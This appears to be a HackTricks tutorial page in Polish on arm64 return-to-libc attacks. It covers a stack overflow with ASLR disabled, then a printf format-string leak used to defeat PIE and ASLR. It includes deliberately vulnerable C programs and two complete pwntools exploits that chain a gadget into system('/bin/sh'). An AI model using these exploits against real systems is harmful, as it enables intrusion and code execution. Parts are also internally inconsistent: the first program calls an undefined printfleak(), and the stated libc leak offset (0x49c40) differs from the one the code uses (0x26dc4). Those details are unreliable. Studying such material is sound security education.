Ret2lib + Printf leak - arm64

Wsparcie dla HackTricks

Ret2lib - obejście NX z ROP (bez ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompiluj bez canary:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Find offset

x30 offset

Tworząc wzór za pomocą pattern create 200, używając go i sprawdzając offset za pomocą pattern search $x30, możemy zobaczyć, że offset wynosi 108 (0x6c).

Patrząc na zdisassemblowaną funkcję main, możemy zobaczyć, że chcielibyśmy skoczyć do instrukcji, aby bezpośrednio skoczyć do printf, którego offset od miejsca, w którym binarka jest załadowana, wynosi 0x860:

Find system and /bin/sh string

Ponieważ ASLR jest wyłączony, adresy będą zawsze takie same:

Find Gadgets

Musimy mieć w x0 adres do ciągu /bin/sh i wywołać system.

Używając rooper, znaleziono interesujący gadget:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Ten gadżet załaduje x0 z $sp + 0x18 i następnie załaduje adresy x29 i x30 z sp oraz skoczy do x30. Dzięki temu gadżetowi możemy kontrolować pierwszy argument, a następnie skoczyć do systemu.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - obejście NX, ASL i PIE z wyciekami printf ze stosu

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompiluj bez canary:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE i ASLR, ale bez canary

  • Runda 1:

  • Wyciek PIE ze stosu

  • Wykorzystanie bof do powrotu do main

  • Runda 2:

  • Wyciek libc ze stosu

  • ROP: ret2system

Wyciek printf

Ustawiając punkt przerwania przed wywołaniem printf, można zobaczyć, że na stosie znajdują się adresy do powrotu do binarki oraz adresy libc:

Próbując różnych offsetów, %21$p może wyciekować adres binarki (obejście PIE), a %25$p może wyciekować adres libc:

Odejmując wyciekający adres libc od podstawowego adresu libc, można zobaczyć, że offset wyciekającego adresu od podstawy wynosi 0x49c40.

offset x30

Zobacz poprzedni przykład, ponieważ bof jest taki sam.

Znajdź Gadżety

Jak w poprzednim przykładzie, musimy mieć w x0 adres do ciągu /bin/sh i wywołać system.

Używając roopera, znaleziono inny interesujący gadżet:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Ten gadżet załaduje x0 z $sp + 0x78 i następnie załaduje adresy x29 i x30 z sp oraz skoczy do x30. Dzięki temu gadżetowi możemy kontrolować pierwszy argument, a następnie skoczyć do systemu.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
Wsparcie dla HackTricks

Last updated